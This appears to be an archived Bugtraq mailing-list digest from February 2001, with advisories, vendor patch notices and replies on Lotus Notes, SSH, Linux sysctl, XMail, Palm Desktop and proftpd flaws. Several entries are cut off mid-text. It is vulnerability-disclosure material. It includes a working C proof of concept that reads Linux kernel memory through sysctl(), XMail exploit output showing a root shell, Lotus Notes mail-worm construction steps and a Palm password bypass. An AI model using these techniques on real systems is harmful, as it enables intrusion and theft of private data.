Lotus Notes Stored Form Vulnerability

[Chris Jones]

_

  Security Advisory:Lotus Notes Stored Form Vulnerability
  Date: 8th February 2001
  Author:   Chris Jones (aka dp) [EMAIL PROTECTED]
  Versions Affected:At present only Lotus Notes v4.6 has been tested
_


[ Exploit Introduction ] --
Due to the design flaws of Lotus Notes databases, a user with sufficient knowledge can 
craft a Lotus Notes Email in such a way that the recipient only has to open the email 
or view the email using the preview panes to become infected or to run the arbitrary 
code.

The problem lies in Lotus Notes ability to allow developers to create forms that do 
not rely on a specific template in a database (like normal emails) but instead uses 
its own in built templates that travel within the document. Using these methods an 
experienced Lotus Notes developer could create an email enabled worm specifically for 
Lotus Notes networks. Which could do anything from delete a few files to granting ACL 
rights to the persons mail box (so all emails could be viewed) to retrieving the users 
cached passwords or similar information. Another key point that allows this exploit to 
occur is that the design of the mailbox database has by default been allowed to accept 
stored forms.


[ Exploit Generation ] -
To generate the email a malicious user will need to modify the default 'memo' form's 
design - which does require a developer's edition of Lotus Notes. The malicious user 
then has to modify the forms' properties so the 'Store form in Document' action is 
checked. The malicious user then has a choice he could insert code into the forms 
'PostOpen' event, which requires Lotus Script programming knowledge or he can go the 
easy method and modify the forms 'Launch' properties which allows you to launch the 
first document attachment when opened which could be absolutely anything.


[ Quick Fix ] --
There is a very quick and very easy method of disabling this feature and that is to 
modify the mailbox database properties so that the 'Allow stored forms' is unchecked. 
This will stop any forms of this attack.


[ Platforms Tested ] ---
We tested this exploit out using Lotus Notes version 4.6 but any version of Lotus 
Notes 4 should be affected, as I am sure lower and higher versions would be as well. 
In our experiment I was able to gain manager access to someone else's Email Box using 
4 Lines of Lotus Script code.


[ Other Notes ] 
Using Lotus Script you can even change the source address of the email to fool the 
user into believing that the infected email came from a trusted source. You could even 
go so far as to code the email so it looks at the target's mailbox and creates a 
duplicate document of his most recent email, so it looks as some other user has sent 
him two copies of the same email.

_
-   www.progenic.com-
_



_
IC-CRYPT.com - Enhancing Communications Since 1998

severe error in SSH session key recovery patch

[Matt Power]

http://www.core-sdi.com/advisories/ssh1_sessionkey_recovery.htm
includes the line of code:

  kill(SIGALRM, getppid());

This is contained within what is listed as an "unsupported and
untested patch" developed by SSH.com.

The problem is that the arguments to "kill" are in the wrong order. In
other words, to obtain the effect that was apparently intended, the
line of code should have been

  kill(getppid(), SIGALRM);

One effect is that the patch does not, in any way, help reduce the
risks associated with the session key recovery vulnerability, since
the parent process will not receive an ALRM signal and thus will not
regenerate a server key. The other possible effect is that there might
be a process whose pid is equal to the numerical value of SIGALRM, and
the value of getppid() might be a signal number that, if sent, would
have an adverse effect on that process and consequently an adverse
effect on system stability. (The call to "kill" is fine in the rare
case where SIGALRM and getppid() happen to be numerically equal.)

(This posting is intended to point out the error in the "kill" line of
that patch; it is not intended to provide a recommendation that the
patch be used if the "kill" line is corrected.)

To determine whether the corrected patch seems appropriate for one's
intended application, here are a few other factors to consider:

  -- if sshd is run from tcpserver (see
 http://cr.yp.to/ucspi-tcp/tcpserver.html) using a command line
 such as "tcpserver 0 ssh /usr/local/sbin/sshd -i", the
 "kill(getppid(), SIGALRM);" will cause the tcpserver process to
 terminate. Unless another process exists that will automatically
 restart that tcpserver process, access to the system via ssh will
 be no longer available. There may be a version of inetd or an
 inetd derivative that will also terminate upon receiving an ALRM
 signal. However, it is commonly the case that an inetd process
 will not terminate if it receives an ALRM signal.

 It happens to be the case that the patch involving
 "kill(getppid(), SIGALRM);" is not needed if sshd is run from
 either tcpserver or inetd. Still, some organizations may be
 deploying a version of sshd with this patch onto systems where
 tcpserver is used, especially if they are using an sshd package
 that was put together without this tcpserver issue in mind.

 It is not a bug in tcpserver that the process terminates when
 it receives an ALRM signal. Any "normal" program started by
 tcpserver will not be sending an ALRM signal to getppid(), so
 one shouldn't expect the design of tcpserver to anticipate that.

 Running an sshd supporting SSH protocol 1.5 from inetd/tcpserver
 rather than standalone is a tradeoff between DoS concerns and
 session-key-recovery concerns. The right decision will not be
 the same in all environments.

  -- With the patch, the lifespan of the server key still does not go
 below one minute. As mentioned in CORE SDI's advisory, the number
 of server connections necessary to carry out the attack is
 normally very large but "the number of connections given is for
 the average case and specifics cases will fall below the
 average". This suggests that is not entirely out of the question
 for the attack to succeed within one minute. If that risk is not
 appropriate in one's environment, then other measures (which may
 include inetd/tcpserver but may also include desupporting use of
 SSH protocol 1.5) are needed.

Matt Power
BindView Corporation, RAZOR Team
[EMAIL PROTECTED]

Re: Bug in ssh client (open ssh 2.3.0)

[rafal wiosna]

* Tomasz Kuźniar wrote:
> Ssh client is suid, so it could be real problem. Must check source...

SUID is only needed when using rhosts or rshost-rsa authentication.
Many installations don't need it. Just set this option [taken from man ssh]:

 UsePrivilegedPort
 Specifies whether to use a privileged port for outgoing connec-
 tions.  The argument must be `yes'' or `no''. The default is
 `yes''. Note that setting this option to `no'' turns off
 RhostsAuthentication and RhostsRSAAuthentication.

--
__
rafal wiosna * Polbox On-Line Service * Fidonet 2:480/33 * In ARP we trust
Powered by /usr/local/bin/joe B.O.F.P (alias|free).polbox.pl admin * AR155
RAFD-RIPE * PGP nyckeln finns tillgänglig pĺ www.se.pgp.net (ID: 3CDCB7A9)

Re: [RHSA-2001:013-05] Three security holes fixed in new kernel

[Solar Designer]

On Thu, Feb 08, 2001 at 06:03:00PM -0500, [EMAIL PROTECTED] wrote:
> Thanks to Solar Designer for finding the sysctl bug, and
> for the versions of the sysctl and ptrace patches we used.

Thanks for crediting me, but actually it's Chris Evans who found the
sysctl bug that affects Linux 2.2.  I only provided patches.

I found a very similar sysctl "signedness" bug a few years back,
fixed in Linux 2.0.34, but it's not an issue on Linux 2.2.  So all
credit for the discovery of this new bug is to Chris Evans.

As I am posting this anyway, -- these two fixes (but _not_ the DoS
one, yet) are included in 2.2.18-ow4 and 2.0.39-ow2 patches, which
I've just released:

http://www.openwall.com/linux/

Actually, 2.0.39 only needed the execve/ptrace race condition fix.

--
/sd

Local man exploit

[Paul Starzetz]

Hi @ll

the attached script will create suid man shell on vulnerable systems
(man -l bug).


ihq.

 manexpl.sh

Advanced Remote OS Detection Methods/Concepts using Perl

[f0bic]

Here's a paper about Advanced remote OS detection with a focus on its
implementation in Perl.

-- f0bic.


--
lowlevel - network coding/network security
http://www.low-level.net - [EMAIL PROTECTED]
--




Examining Advanced Remote OS Detection Methods/Concepts using Perl
--
--[ Feb 03, 2001 - by f0bic - http://www.low-level.net ]--


"Half of the work that is done is this world, 
 is to make things appear what they are not." 
-- Elias Root Beadle



Abstract

   This paper discusses the theory and practice behind
   OS detection with a specific focus on  the  practice
   related to the PERL programming language.   Methods
   and concepts for remote operating system  detection
   are closely examined and implemented into Perl code.



I. Introduction

Throughout the years, a host of information  has  been  posted  online
about the use of various techniques and methods to determine  what  OS
(operating system) a certain host is running. Since these OS detection 
techniques rely on certain factors that are not constant, the accuracy
of these OS predictions can not be guaranteed a full 100 percent.

This paper stresses the importance of these factors and gives pointers
on how to apply these various OS detection methods in perl. 



II. Basic OS Detection Methods

Before I get to Advanced remote OS detection  concepts,  I  wanted  to
briefly point out some other methods which can be  used  to  detect  a
remote hosts' OS. These techniques may old, but they get the job done.


   (1) telnet banner grabbing

   I hope this is pretty self-explanatory to you. :) But just in-case,
   you connect to telnetd on the remote host, and see what the telnet
   login banner prints :)
 
   (2) FTP banner grabbing

   Same basic concept as telnet banner grabbing, just w/ ftpd instead
   of telnetd.

   (3) http head method

   You can try and determine an OS by checking what web server (httpd)
   the target is running. i.e. Microsoft-IIS should be WindowsNT/2k.   


Okay. I think this concludes our basic OS detection methods lesson for
today.




III. Remote OS Detection and Path Projection Concepts

There is a wide variety of techniques to determine a hosts OS.   This  
paper discusses four ways to do so.


* telnetd fingerprinting:
  relies on telnet session negotiations and telopts.

* identd fingerprinting:
  relies on identd/auth (113) to be open.

* TCP stack fingerprinting:
  relies on Window, TTL, ToS, and DF.
 
* Queso fingerprinting:
  relies on Window, Seq, Ack_seq
  relies on various IP/TCP header flags.

* Passive fingerprinting:
  closely related to TCP stack fingerprinting.
  relies on Window, TTL, ToS, and DF.
  relies on network traffic.


I'll discuss each of these methods in more detail throughout the  next  
couple of sections. 

Some terminology:

  * Window: TCP Packet Window-size - the maximum amount of packets that
can be sent out without receiving an acknowledgement.

  * TTL: Time-To-Live - the maximum number of hops a packet  can  pass
through before being discarded.
 
  * ToS: Type of Service 

  * DF: Don't Fragment bit

  * MSS: Maximum Segment Size 


These factors can be used in determining what kind of operating system
a remote host is running. Depending on the combination of all of these
flags, a match can be ran against a database of flags and an operating 
system guess can be made. The following is a  tcpdump  snippet  of  an
incoming packet:


00:44:09.194998 eth0 < 203.9.66.52.www > my.ip.com.domain: 
S 2006693595:2006693595(0) ack 1 win 9112  (DF) 
(ttl 232, id 25119)   


When we discard some of the information enclosed in the packet we will
get the following:




 +-> Device+-> Source Address  +-> Dont Frag bit
 | |   |
eth0 < 203.9.66.52.www > my.ip.com.domain: win 9112 (DF) (ttl 232)
   | ||
   +-> Dest Address  |+-> TTL value
 |
 +-> TCP Window-size



Tcpdump has gathered the following information about the packet:

+
+ Source Address : my.ip.com+
+ Source Port: domain (53)  +
+ Dest. Address  : 203.9.66.52 (www.sun.com.au) +
+ Dest. Port : www (80) +
+ Window Size: 9112 (0x2398)+
+ TTL Value  : 232  +
+ ToS Value  : 0+
+ DF (Dont Frag) : ON

Linux kernel sysctl() vulnerability

[Chris Evans]

Hi,

OVERVIEW

There exists a Linux system call sysctl() which is used to query and
modify runtime system settings. Unprivileged users are permitted to query
the value of many of these settings.

The unprivileged user passes in a buffer location and the length of this
buffer. Unfortunately, by specifying a negative buffer length, a user can
read pretty arbitrary kernel memory.


DISCUSSION OF FLAW

Looking at linux/kernel/sysctl.c: sysctl_string()

int l, len;
...
if (oldval && oldlenp) {
if(get_user(len, oldlenp))
return -EFAULT;
if (len) {
l = strlen(table->data);
if (len > l) len = l;
if (len >= table->maxlen)
len = table->maxlen;
if(copy_to_user(oldval, table->data, len))
return -EFAULT;

The contents of variable "len" are totally under the control of a
malicious user. Since len is declared as signed, a negative value may be
used. This bypasses the "len >= table->maxlen" check and copies kernel
data to userspace, starting at "table->data".

The sysctl.c file contains several signed/unsigned mixups like the above.


To exploit this, there are a couple of minor issues.
1) copy_to_user() virtual address space wrap check. A check in the kernel
means we need to place the destination user space buffer low in the
virtual address space, using mmap(). The default heap location on i386 is
too high.

2) The usefulness of this exploit will vary depedending upon if the
address of the table->data pointer used is _before_ lots of interesting
kernel stuff. On ix86 Linux, this certainly seems to be the case.

3) I have a report that the kernel may be caused to hang using this bug.
I haven't investigated.

FIX

The recent flurry of updated kernels from vendors include a fix for the
sysctl() problem. The fix is essentially to use unsigned variables for the
lengths.


COMMENTS

As we see, integer signedness issues seem to be everywhere. Subtle flaws
like these are a great concern because they are hard to spot and audits
will miss them.

Quick hacky demo code of how you might go about playing with this, is
appended.

Cheers
Chris

/* Excuse the lack of error checking */
#include 
#include 
#include 
#include 
#include 
#include 
#include 
_syscall1(int, _sysctl, struct __sysctl_args *, args);

#define BUFLEN 100

int
main(int argc, const char* argv[])
{
  struct __sysctl_args args_of_great_doom;

  int names[2] = { CTL_KERN, KERN_NODENAME };
  /* Minus 2 billion - somewhere close to biggest negative int */
  int dodgy_len = -20;
  int fd;
  char* p_buf;

  fd = open("/dev/zero", O_RDWR);
  p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
   MAP_FIXED | MAP_PRIVATE, fd, 0);

  memset(p_buf, '\0', BUFLEN);
  fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);

  args_of_great_doom.name = names;
  args_of_great_doom.nlen = 2;
  args_of_great_doom.oldval = p_buf;
  args_of_great_doom.oldlenp = &dodgy_len;
  args_of_great_doom.newval = 0;
  args_of_great_doom.newlen = 0;

  _sysctl(&args_of_great_doom);

  fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);
}

Re: SSHD-1 Logging Vulnerability

[Florian Weimer]

jose nazario <[EMAIL PROTECTED]> writes:

> -  debug("Rhosts authentication failed for '%.100s', remote '%.100s', host 
>'%.200s'.",
> +  log_msg("Rhosts authentication failed for '%.100s', remote '%.100s', host 
>'%.200s'.",
>  user, client_user, get_canonical_hostname());

I don't think this patch is a good idea.  If a user accidentally
enters his password in place of his user name, the password will show
up in the log.  That's probably the reason while logging is available
only in the debug mode.  It should be sufficient to log the IP address
of the client trying to authenticate.

--
Florian Weimer[EMAIL PROTECTED]
University of Stuttgart   http://cert.uni-stuttgart.de/
RUS-CERT  +49-711-685-5973/fax +49-711-685-5898

Re: [CORE SDI ADVISORY] SSH1 session key recovery vulnerability

[Iván Arce]

Hello,

Yet another error in the advisory released last Wednesday.

- Original Message -
From: "Iván Arce" <[EMAIL PROTECTED]>
Newsgroups: core.lists.bugtraq
To: <[EMAIL PROTECTED]>
Sent: Wednesday, February 07, 2001 6:25 PM
Subject: [CORE SDI ADVISORY] SSH1 session key recovery vulnerability


>   CORE SDI
> http://www.core-sdi.com
> SSH protocol 1.5 session key recovery vulnerability
>
>

...
> -- cut here --
>
> --- rsaglue.c   1999/12/10 23:27:25 1.8
> +++ rsaglue.c   2001/02/03 09:42:05
> @@ -264,7 +268,15 @@
>mpz_clear(&aux);
>
>if (value[0] != 0 || value[1] != 2)
> -fatal("Bad result from rsa_private_decrypt");
> +{
> +  static time_t last_kill_time = 0;
> +  if (time(NULL) - last_kill_time > 60 && getppid() != 1)
> +   {
> + last_kill_time = time(NULL);
> + kill(SIGALRM, getppid());

... This is wrong wrong wrong and will produce unpredictable results
on the server machine and does not fix the vulnerability either.
   The correct line is:

+ kill(getppid(),SIGALRM);

Thanks to Matt Power from the Bindview RAZOR Team for
pointing this out.

The advisory at our web page has been updateed to reflect this
change.


-ivan


---

"Understanding. A cerebral secretion that enables one having it to know
 a house from a horse by the roof on the house,
 Its nature and laws have been exhaustively expounded by Locke,
 who rode a house, and Kant, who lived in a horse." - Ambrose Bierce


==[ CORE Seguridad de la Informacion S.A. ]=
Iván Arce
Presidente
PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836  B25D 207B E78E 2AD1 F65A
email   : [EMAIL PROTECTED]
http://www.core-sdi.com
Florida 141 2do cuerpo Piso 7
C1005AAC Buenos Aires, Argentina.
Tel/Fax : +(54-11) 4331-5402
=


--- For a personal reply use [EMAIL PROTECTED]

Re: Palm Pilot - Palm Desktop Version 4 - Password bypass

[skelly]

v3.1 seems to be safe. The password is requested @ the splashscreen, before
the rest of the interface loads. Alt-F does nothing, and Alt-H brings up
help, which explains what a password is. NOTE: This may be a modified
version. It's the updated Handsping Visor version, but it still has the Palm
Software branding all over.

Sean Kelly
Network Technician
Centrics Technology

-Original Message-
From: Bugtraq List [mailto:[EMAIL PROTECTED]]On Behalf Of Secret
Ivan
Sent: Friday, February 09, 2001 8:09 AM
To: [EMAIL PROTECTED]
Subject: Palm Pilot - Palm Desktop Version 4 - Password bypass


I've only tested this with version 4.0 of the Palm
Desktop software.

Palm allows you set a password on the desktop
software.  Without a password you are not able to
view the data.

There is a way to bypass and get rid of the
desktop password.

On an existing Palm Desktop make sure the password
is set.  Once it asks you for the password you
need to press Alt-F or Alt-H to get the menu
structure.

Once you have the menu pulled down you navigate to
Tools | Options and select the Security tab.  Once
there you can uncheck the [] Require password
to access the Palm desktop.

Click OK and then cancel out and exit.  The next
time you restart the Palm desktop software the
password will be gone and anyone can view your
data.

Re: Bug in Bind 9.1.0?

[Maarten de Vries]

On Wednesday, February 07, 2001, 11:15:48 PM, I wrote:

> I believe ISC is still investigating this. Haven't heard from the
> FreeBSD people yet, altough they were the first I reported this to...

In  the  meantime, I was informed by Doug Barton (who maintains the Bind
port  in  FreeBSD)  that  "the  FreeBSD  team is currently investigating
solutions  to  the  problems  brought to light by version 9.1.0 of BIND.
Meanwhile,  our  port  of  BIND  9  has been updated to use BIND version
9.1.1rc1  which, in addition to significant bug fixes contains code that
turns those failure modes into logged warnings".

Those warnings look like this:

Feb  9 13:56:04 tel named[88689]: socket.c:1673: unexpected error:
Feb  9 13:56:04 tel named[88689]: socket.c:1673: unexpected error:
Feb  9 13:56:04 tel named[88689]: internal_accept(): accept() returned peer address 
family 0 (expected 2)
Feb  9 13:56:04 tel named[88689]: internal_accept(): accept() returned peer address 
family 0 (expected 2)

It doesn't indeed crash anymore.
Upgrading time, then :-)

--
Maarten

Bug in ssh client (open ssh 2.3.0)

[Tomasz Kuźniar]

hi,
When Michal Zalewski found bug in ssh, most people tried to reinstall
their ssh. They usualy install openssh 2.3.0 or higher, or ssh2.com

Well, it could not be the best fix using openssh client 2.3.0p1 (i dont
check other ver.).
I've compile it from sources, so look at it:

mezon@ania:~$whereis ssh
ssh: /usr/local/bin/ssh
mezon@ania:~$ls -al /usr/local/bin/ssh
-rws--x--x   1 root root   663364 Feb  8 14:48
/usr/local/bin/ssh*
mezon@ania:~$ssh mezon@ania
mezon@ania's password:
Segmentation fault
mezon@ania:~$


When it crash? heh, there must be some conditions:
1. on my host : mist be typed "ssh -l mezon ania" or ssh mezon@ania
(When using full ip or address it will not segv)
2. when password prompted, You will have to type some chars, then
press  button , and next 

Ssh client is suid, so it could be real problem. Must check source...

Mezon
--
Tomasz Kuzniar <[EMAIL PROTECTED]>
* Polska Platforma Internetowa *
  ~ ~ ~
"Wioska zabita dechami - Village killed by desks"

Palm Pilot - Palm Desktop Version 4 - Password bypass

[Secret Ivan]

I've only tested this with version 4.0 of the Palm 
Desktop software.

Palm allows you set a password on the desktop 
software.  Without a password you are not able to 
view the data.

There is a way to bypass and get rid of the 
desktop password.

On an existing Palm Desktop make sure the password 
is set.  Once it asks you for the password you 
need to press Alt-F or Alt-H to get the menu 
structure.

Once you have the menu pulled down you navigate to 
Tools | Options and select the Security tab.  Once 
there you can uncheck the [] Require password
to access the Palm desktop.

Click OK and then cancel out and exit.  The next 
time you restart the Palm desktop software the 
password will be gone and anyone can view your 
data.

Re: Vulnerability in AOLserver

[bugtraq]

>AOLserver v3.2 is a web server available from http://www.aolserver.com.
>A vulnerability exists which allows a remote user user to break out of the
>web root using relative paths (ie: '...').

> AOLserver v3.2 on Linux (RH 6.0) does not appear to be vulnerable.
> OS-dependent code?

Correct.  Microsoft Windows has an undocumented "feature" where '...\' or
'\' or '..\' point to parent directories.  This feature is obscure
un documented enough that almost every single web server ported to Windows
allows viewing of files above the document root with this feature.  In
fact, Microsoft's own personal web server had this problem at one point.

Linux has had similiar problems with undocumented interfaces.  It was
discovered about a year ago that by using undocumented calls that restrict
privledges, an attacker could set things up a a SUID root application
could not drop its root privledges.

- Sam

Smoothwall SSH Vulnerability fix

[Dan Cuthbert]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

++

Smoothwall Security Advisory SSA-0902-1
[EMAIL PROTECTED]
February 9th 2001
  Dan Cuthbert
++


Smoothwall Versions affected:

All Versions currently using the OpenSSH protocol are affected,
please upgrade to the new version available

Known exploits:

There are no known working exploits known at present

Updated SSH Binaries:

An updated version of OpenSSH v2.3 is available on the Smoothwall FTP
server, and HOWTO is also included within the tarball

ftp://146.101.126.9/pub/updates/

MD5 (smoothwall-openssh-2.3.0p1.tar.gz) =
76cce7d9eade80b78dd1526ae50f28ff1149612 bytes


Dan Cuthbert
Security Manager
Smoothwall Firewall Project
http://www.smoothwall.org

-BEGIN PGP SIGNATURE-
Version: PGPfreeware 6.5.8 for non-commercial use 

iQA/AwUBOoPjB9g3Mtg4nR8oEQLheACgzYbQ6mYijnmfsDHnwSTcQWCX81IAoN+t
THejMu8HI2IG3fUnYM4aPifY
=CTw+
-END PGP SIGNATURE-

[RHSA-2001:013-05] Three security holes fixed in new kernel

[bugzilla]

-
   Red Hat, Inc. Red Hat Security Advisory

Synopsis:  Three security holes fixed in new kernel
Advisory ID:   RHSA-2001:013-05
Issue date:2001-02-08
Updated on:2001-02-08
Product:   Red Hat Linux
Keywords:  sysctl ptrace mxcsr P4
Cross references:  
Obsoletes: 
-

1. Topic:

Three security holes fixed in new kernel, and several other
updates and bug fixes have been applied as well.

2. Relevant releases/architectures:

Red Hat Linux 6.x - alpha, i386, i586, i686, sparc, sparc64

Red Hat Linux 7.0 - alpha, i386, i586, i686

3. Problem description:

Three security holes have been fixed in the kernel.  One involves
ptrace, another involves sysctl, and the last is specific to some
Intel CPUs.  All three security holes involve local access only
(they do not provide a hole to remote attackers without a local
account).  The ptrace and sysctl bugs provide local users with the
potential to compromise the root account.  Neither has an active
exploit available at the time of this writing.  The last security
hole is a DOS (Denial Of Service) that does not provide access to
the root account but does allow any user with shell access the
ability to halt the CPU.

All users are strongly recommended to upgrade.

In addition to the security fixes, these kernels contain more
advanced support for the Intel Pentium 4 processors, as well as
a number of driver updates.  These updates include e100, sis900,
cs46xx, qla1x160, qla2x00, ServeRAID, and ipvs.

In addition, a number of other bugs have been fixed.  Most notably,
the RAW I/O facility could corrupt data under certain usage patterns.

4. Solution:

Upgrade to kernel-2.2.17-14

The procedure for upgrading the kernel is documented at:
  
http://www.redhat.com/support/docs/howto/kernel-upgrade/kernel-upgrade.html

Please read the directions for your architecture carefully before
proceeding with the kernel upgrade.

5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info):

24737 - make oldconfig on SMP Alphas
21514 - problem with module sis900.o
21654 - PANIC: failed to set gid

6. RPMs required:

Red Hat Linux 6.x:

SRPMS:
ftp://updates.redhat.com/6.2/SRPMS/kernel-2.2.17-14.src.rpm

alpha:
ftp://updates.redhat.com/6.2/alpha/kernel-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-smp-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-enterprise-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-BOOT-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-source-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-doc-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-utils-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-headers-2.2.16-3.alpha.rpm

i386:
ftp://updates.redhat.com/6.2/i386/kernel-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-smp-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-BOOT-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-pcmcia-cs-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-ibcs-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-source-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-doc-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-utils-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-headers-2.2.16-3.i386.rpm

i586:
ftp://updates.redhat.com/6.2/i586/kernel-2.2.17-14.i586.rpm
ftp://updates.redhat.com/6.2/i586/kernel-smp-2.2.17-14.i586.rpm

i686:
ftp://updates.redhat.com/6.2/i686/kernel-2.2.17-14.i686.rpm
ftp://updates.redhat.com/6.2/i686/kernel-smp-2.2.17-14.i686.rpm
ftp://updates.redhat.com/6.2/i686/kernel-enterprise-2.2.17-14.i686.rpm

sparc:
ftp://updates.redhat.com/6.2/sparc/kernel-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-smp-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-smp-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-enterprise-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-enterprise-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-BOOT-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-BOOT-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-source-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-doc-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-utils-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-headers-2.2.16-3.sparc.rpm

sparc64:
ftp://updates.redhat.com/6.2/sparc64/kernel-2.2.17-14.sparc64.rpm
ftp://updates.redhat.com/6.2/sparc64/kernel-smp-2.2.17-14.sparc64.rpm
ftp://updates.redhat.com/6.2/sparc64/kernel-enterprise-2.2.17-14.sparc64.rpm
ftp://updates.redhat.com/6.2/sparc64/kernel-BOOT-2.2.17-14.sparc64.rpm

Red Hat Linux 7.0:

SRPMS:
ftp://updat

Re: XMail CTRLServer remote buffer overflow vulnerability

[davidel]

> SUMMARY
> 
> I discovered all versions of
XMail have
> buffer overflow vulnerabilities in
CTRLServer.These holes is NOT same as
> APOP,USER command buffer overflow vulnerability
discovered beforetime.And
> this problem allows a remote attacker to execute
arbitrary code by issuing a
> long
cfgfileget(cfgfileset,domainadd,domaindel)command.
> 
> DETAILS
> 
> Vulnerable systems:
> XMail version 0.66 and prior version
> 
> Immune systems:
> None
> 
> CTRLServer is a tool of XMail for administering
purpose.It listen on port 6017(tunable).
> there are some bad programming lead to
vulnerabilities.
> 
> In CTRLSvr.cpp
> line 1888: CTRLDo_domainadd() function
> StrLower(strcpy(szDomain, ppszTokens[1]));
> 
> szDomain is a 256 bytes local
buffer,ppszTokens[1] is parsed from user input
> command,XMail copies them without bounds
checking.It is possible to cause
> cover EIP,because XMail is run as root,an
attacker can execute arbitrary code
> with root privilege.
> 
> There are same vulnerabilities in CTRLSvr.cpp
> line 1921: CTRLDo_domaindel() function
> StrLower(strcpy(szDomain, ppszTokens[1]));
> 
> line 2448: CTRLDo_cfgfileget() function
> strcpy(szRelativePath, ppszTokens[1]);
> 
> line 2523: CTRLDo_cfgfileset() function
> strcpy(szRelativePath, ppszTokens[1]);
> 
> Before exploit the vulnerabilities,it is need to
login with CTRLServer
> username&password.I think it is easy to get that
by brute forcing.
> 
> I wrote a program to test the vulnerabilities,on
my Redhat 6.0 i386+XMail 0.65
> (0.66 has same bugs):
> 
> [root@isno /root]# gcc -o xmailx xmailx.c
> [root@isno /root]# ./xmailx isno mypasswd
127.0.0.1
> 
> Use retAddress: 0xbc7fe974
> 
> +0 <[EMAIL PROTECTED]> XMail 0.65
(Linux/Ix86) CTRL Server; Thu, 01 Feb 2001
16:36:56 +0800
> 
> Starting to login...
> Success!now telnet 127.0.0.1 36864
> [root@isno /root]# telnet 127.0.0.1 36864
> Trying 127.0.0.1...
> Connected to 127.0.0.1.
> Escape character is '^]'.
> id;
> uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
> : command not found
> 
> Because the buffer is too small to set many of
NOP before shellcode,it is deficult
> to guess ret.And it cannot brute force
offset,because once sending overflow code to
> the CTRLServer, XMail will be crashed.
> 
> PATCH:
> http://www.mycio.com/davidel/xmail should
release the patch.
> 
> Excuse my poor english...


It'll be fixed in 0.68.


- Davide

Re: Immunix OS Security update for kernel

[Greg KH]

On Thu, Feb 08, 2001 at 02:52:45PM -0800, Greg KH wrote:
>   Chris Evans has discovered a security problem in the kernel select()

This should have read "sysctl()".  Sorry for any confusion.

greg k-h

-- 
greg@(kroah|wirex).com
http://immunix.org/~greg

 PGP signature

MDKSA-2001:021 - proftpd update

[Linux Mandrake Security Team]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1



Linux-Mandrake Security Update Advisory


Package name:   proftpd
Date:   February 8th, 2001
Advisory ID:MDKSA-2001:021

Affected versions:  7.2


Problem Description:

 The ProFTPD FTP server has problems with memory leaking that could be
 used in a DoS attack, as reported by Wojciech Purczynski.  A memory
 leak will happen every time a SIZE command was given provided that the
 scoreboard file is not writable, which is not the case in a default
 Linux-Mandrake installation.  A similar problem also existed with
 the USER command where every time it was given the server would use
 more memory.  Additionally, some format string vulnerabilities were
 reported by Przemyslaw Frasunek which have also been fixed.


Please verify the update prior to upgrading to ensure the integrity of
the downloaded package.  You can do this with the command:
  rpm --checksig package.rpm
You can get the GPG public key of the Linux-Mandrake Security Team at
  http://www.linux-mandrake.com/en/security/RPM-GPG-KEYS
If you use MandrakeUpdate, the verification of md5 checksum and GPG
signature is performed automatically for you.

Linux-Mandrake 7.2:
a2e330bd49855d74bfbb2f1e80c3e312  7.2/RPMS/proftpd-1.2.0rc3-1.1mdk.i586.rpm
3ec2a5ee6b834e1193de5e3b738eaa53  7.2/SRPMS/proftpd-1.2.0rc3-1.1mdk.src.rpm


To upgrade automatically, use MandrakeUpdate.

If you want to upgrade manually, download the updated package from one
of our FTP server mirrors and upgrade with "rpm -Fvh *.rpm".

You can download the updates directly from one of the mirror sites
listed at:

  http://www.linux-mandrake.com/en/ftp.php3.

Updated packages are available in the "updates/[ver]/RPMS/" directory.
For example, if you are looking for an updated RPM package for
Linux-Mandrake 7.2, look for it in "updates/7.2/RPMS/".  Updated source
RPMs are available as well, but you generally do not need to download
them.

Please be aware that sometimes it takes the mirrors a few hours to
update.

You can view other security advisories for Linux-Mandrake at:

  http://www.linux-mandrake.com/en/security/

If you want to report vulnerabilities, please contact

  [EMAIL PROTECTED]


Linux-Mandrake has two security-related mailing list services that
anyone can subscribe to:

[EMAIL PROTECTED]

  Linux-Mandrake's security announcements mailing list.  Only
  announcements are sent to this list and it is read-only.

[EMAIL PROTECTED]

